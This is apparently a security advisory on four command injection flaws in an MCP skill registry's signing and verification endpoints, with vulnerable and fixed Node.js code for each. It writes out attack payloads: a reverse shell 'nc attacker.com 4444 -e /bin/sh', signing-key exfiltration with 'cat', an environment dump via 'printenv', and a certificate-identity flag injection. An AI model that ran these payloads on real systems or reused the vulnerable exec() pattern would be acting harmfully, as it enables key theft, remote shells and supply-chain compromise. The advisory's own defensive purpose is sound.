← Security advisories

Claude MCP skill code injection — skill signing and verification pipeline endpoints — SA-SKL-INJECTION48

SA-SKL-INJECTION48 documents four command injection vulnerabilities in MCP skill registry skill signing and verification pipeline endpoints. Signing pipelines are uniquely high-impact targets because the credentials they hold — cosign private keys, GPG signing keys, OpenSSL private keys, and OIDC certificate issuers — are what make the registry's integrity guarantees trustworthy. Injecting into these endpoints allows an attacker to exfiltrate the registry's signing private key (enabling them to sign arbitrary malicious images as the trusted registry signer), establish persistent shell access, exfiltrate all process environment variables including cloud provider credentials, or bypass certificate identity validation to accept forged certificates as valid.

SA-SKL-INJECTION48 findings at a glance
CRITICALINJECTION48-001 — exec(`cosign sign ${imageRef} --key ${keyFile}`) — attacker imageRef with ; cat ${keyFile} exfiltrates the signing private key enabling the attacker to sign arbitrary images as the registry's trusted signer; fix: execFile() array; validate imageRef against digest-pinned pattern; keyFile from server-side constant only
CRITICALINJECTION48-002 — exec(`gpg --sign --local-user ${keyId} --output ${outputFile} ${inputFile}`) — attacker keyId with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell running as registry API service account; fix: execFile() array; validate keyId against /^[0-9A-Fa-f]{8,16}$/; realpathSync containment for inputFile and outputFile
CRITICALINJECTION48-003 — exec(`openssl dgst -sha256 -sign ${privateKeyPath} -out ${sigFile} ${targetFile}`) — attacker privateKeyPath with ; printenv exfiltrates all env vars including SSL private key paths and cloud provider credentials; fix: execFile() array; realpathSync containment for all file paths; privateKeyPath from server-side constant only
HIGHINJECTION48-004 — exec(`sigstore verify --certificate-oidc-issuer ${issuer} ${targetFile}`) — attacker issuer with space-injected --certificate-identity=attacker@evil.com bypasses certificate identity validation, accepting attacker's certificate as valid for any OIDC issuer; fix: execFile() array; issuer from server-side allowlist; validate issuer against /^https:\/\/[a-z0-9.\-]+\//

INJECTION48-001 — cosign signing key exfiltration via imageRef injection

Severity: CRITICAL

The skill image signing endpoint invokes cosign sign using Node.js exec() with the imageRef and keyFile path interpolated into a template string. An attacker submits an imageRef containing a semicolon-terminated shell command: registry.example.com/skill@sha256:abc ; cat /app/secrets/cosign.key. When the shell interprets the template string, the semicolon terminates the cosign invocation and executes cat /app/secrets/cosign.key, returning the cosign private key in stdout. The signing private key is what allows the registry to assert that images are authentic — an attacker who possesses it can sign any malicious image as the trusted registry signer, compromising the integrity of every skill installation that trusts the registry's signature.

Signing key exfiltration is a supply chain compromise. Unlike most injection vulnerabilities that target the executing host, injection into cosign sign commands targets the trust infrastructure that skill consumers rely on to validate that installed skills are unmodified. The signing key is the registry's root of trust — its compromise affects every downstream skill installation, not just the current request.

Vulnerable
// POST /api/skills/:id/sign — exec() with interpolated imageRef and keyFile
const KEY_FILE = process.env.COSIGN_KEY_PATH;  // /app/secrets/cosign.key

router.post('/:id/sign', requireSession, async (req, res) => {
  const { imageRef } = req.body;
  // attacker imageRef = "registry.example.com/skill@sha256:abc ; cat /app/secrets/cosign.key"
  exec(`cosign sign ${imageRef} --key ${KEY_FILE}`, (err, stdout, stderr) => {
    if (err) return res.status(500).json({ error: stderr });
    return res.json({ signed: true, output: stdout });  // key contents in stdout
  });
});
Fixed
// POST /api/skills/:id/sign — execFile() array + imageRef validation
const KEY_FILE = process.env.COSIGN_KEY_PATH;  // server-side constant only
const IMAGE_REF_RE = /^[a-z0-9.\-\/]+@sha256:[0-9a-f]{64}$/;

router.post('/:id/sign', requireSession, requireRole('publisher'), async (req, res) => {
  const { imageRef } = req.body;
  if (!IMAGE_REF_RE.test(imageRef)) return res.status(400).json({ error: 'Invalid imageRef' });

  execFile('cosign', ['sign', imageRef, '--key', KEY_FILE], (err, stdout, stderr) => {
    if (err) return res.status(500).json({ error: 'Sign failed' });
    return res.json({ signed: true });  // no output proxied
  });
});

INJECTION48-002 — GPG reverse shell via keyId injection

Severity: CRITICAL

The skill GPG signing endpoint invokes gpg --sign --local-user ${keyId} using exec(). An attacker submits keyId containing ; nc attacker.com 4444 -e /bin/sh. The shell executes the netcat reverse shell command, establishing a persistent shell connection to the attacker's listener running as the registry API service account. The service account typically has filesystem access to all signing keys, secrets, and configuration files in the registry deployment directory.

Vulnerable
// POST /api/skills/:id/gpg-sign — exec() with interpolated keyId
router.post('/:id/gpg-sign', requireSession, async (req, res) => {
  const { keyId, inputFile, outputFile } = req.body;
  exec(`gpg --sign --local-user ${keyId} --output ${outputFile} ${inputFile}`,
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: stderr });
      return res.json({ signed: true });
    }
  );
});
Fixed
// POST /api/skills/:id/gpg-sign — execFile() + keyId validation + realpathSync
import { realpathSync } from 'fs';
const SIGN_DIR = realpathSync('/app/sign-workspace');
const KEY_ID_RE = /^[0-9A-Fa-f]{8,16}$/;

router.post('/:id/gpg-sign', requireSession, requireRole('publisher'), async (req, res) => {
  const { keyId, inputFile, outputFile } = req.body;
  if (!KEY_ID_RE.test(keyId)) return res.status(400).json({ error: 'Invalid keyId' });

  const safeInput  = realpathSync(path.join(SIGN_DIR, path.basename(inputFile)));
  const safeOutput = realpathSync(path.join(SIGN_DIR, path.basename(outputFile)));
  if (!safeInput.startsWith(SIGN_DIR) || !safeOutput.startsWith(SIGN_DIR)) {
    return res.status(400).json({ error: 'Path traversal detected' });
  }

  execFile('gpg', ['--sign', '--local-user', keyId, '--output', safeOutput, safeInput],
    (err) => {
      if (err) return res.status(500).json({ error: 'GPG sign failed' });
      return res.json({ signed: true });
    }
  );
});

INJECTION48-003 — env var exfiltration via privateKeyPath injection in openssl dgst

Severity: CRITICAL

The OpenSSL digest signing endpoint interpolates privateKeyPath directly into an exec() template string. An attacker submits privateKeyPath containing ; printenv. The shell executes printenv after the openssl command fails (or alongside it), returning all environment variables in stdout — including OPENSSL_PRIVATE_KEY_PATH, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and any other credentials injected via the deployment environment. These are returned in the API response.

Vulnerable
// POST /api/skills/:id/openssl-sign — exec() with interpolated privateKeyPath
router.post('/:id/openssl-sign', requireSession, async (req, res) => {
  const { privateKeyPath, targetFile, sigFile } = req.body;
  exec(`openssl dgst -sha256 -sign ${privateKeyPath} -out ${sigFile} ${targetFile}`,
    (err, stdout, stderr) => {
      if (err) return res.status(500).json({ error: stderr });
      return res.json({ signed: true, output: stdout });  // printenv output returned
    }
  );
});
Fixed
// POST /api/skills/:id/openssl-sign — execFile() + server-side key path + realpathSync
const PRIVATE_KEY = process.env.OPENSSL_SIGNING_KEY_PATH;  // server-side constant
const SIGN_DIR = realpathSync('/app/sign-workspace');

router.post('/:id/openssl-sign', requireSession, requireRole('publisher'), async (req, res) => {
  const { targetFile, sigFile } = req.body;

  const safeTarget = realpathSync(path.join(SIGN_DIR, path.basename(targetFile)));
  const safeSig    = path.join(SIGN_DIR, path.basename(sigFile));
  if (!safeTarget.startsWith(SIGN_DIR) || !safeSig.startsWith(SIGN_DIR)) {
    return res.status(400).json({ error: 'Path traversal detected' });
  }

  execFile('openssl', ['dgst', '-sha256', '-sign', PRIVATE_KEY, '-out', safeSig, safeTarget],
    (err) => {
      if (err) return res.status(500).json({ error: 'OpenSSL sign failed' });
      return res.json({ signed: true });
    }
  );
});

INJECTION48-004 — Certificate identity bypass via space injection in sigstore verify

Severity: HIGH

The sigstore verification endpoint interpolates the OIDC issuer value from user input into a exec() template string. An attacker submits issuer containing a space followed by an additional flag: https://accounts.google.com --certificate-identity=attacker@evil.com. The shell interprets this as two separate arguments to sigstore verify: --certificate-oidc-issuer https://accounts.google.com and --certificate-identity=attacker@evil.com. The injected --certificate-identity flag overrides any server-side identity validation, accepting the attacker's certificate as valid for the specified OIDC issuer. Semicolon-only sanitizers do not block this attack because it uses space injection, not shell command chaining.

Space injection bypasses semicolon sanitizers. INJECTION48-004 injects a flag, not a command. Any input validation that only blocks semicolons, backticks, or pipe characters will not prevent this attack. The fix requires execFile() with an array of arguments — this is the only defense that prevents both shell command injection and flag injection by not invoking a shell at all.

Vulnerable
// POST /api/skills/:id/verify — exec() with interpolated issuer
router.post('/:id/verify', requireSession, async (req, res) => {
  const { issuer, targetFile } = req.body;
  // attacker issuer = "https://accounts.google.com --certificate-identity=attacker@evil.com"
  exec(`sigstore verify --certificate-oidc-issuer ${issuer} ${targetFile}`,
    (err, stdout) => {
      if (err) return res.status(400).json({ verified: false });
      return res.json({ verified: true });
    }
  );
});
Fixed
// POST /api/skills/:id/verify — execFile() + issuer from server-side allowlist
const ISSUER_ALLOWLIST = new Set([
  'https://accounts.google.com',
  'https://github.com/login/oauth',
  'https://token.actions.githubusercontent.com',
]);
const ISSUER_RE = /^https:\/\/[a-z0-9.\-]+\//;
const SIGN_DIR = realpathSync('/app/sign-workspace');

router.post('/:id/verify', requireSession, async (req, res) => {
  const { issuer, targetFile } = req.body;

  if (!ISSUER_RE.test(issuer) || !ISSUER_ALLOWLIST.has(issuer)) {
    return res.status(400).json({ error: 'Invalid OIDC issuer' });
  }

  const safeTarget = realpathSync(path.join(SIGN_DIR, path.basename(targetFile)));
  if (!safeTarget.startsWith(SIGN_DIR)) return res.status(400).json({ error: 'Path traversal' });

  execFile('sigstore', ['verify', '--certificate-oidc-issuer', issuer, safeTarget],
    (err) => {
      if (err) return res.status(400).json({ verified: false });
      return res.json({ verified: true });
    }
  );
});

All four SA-SKL-INJECTION48 vulnerabilities share the root cause of using exec() with user-controlled values interpolated into shell command strings. SkillAudit detects these patterns with AST queries targeting exec() calls that contain template literal expressions sourced from request body fields, and flags signing-related command strings (cosign, gpg --sign, openssl dgst, sigstore verify) without execFile() equivalents. See also SA-SKL-INJECTION47 on container image build and push endpoints for the companion injection chain targeting OCI registry credentials.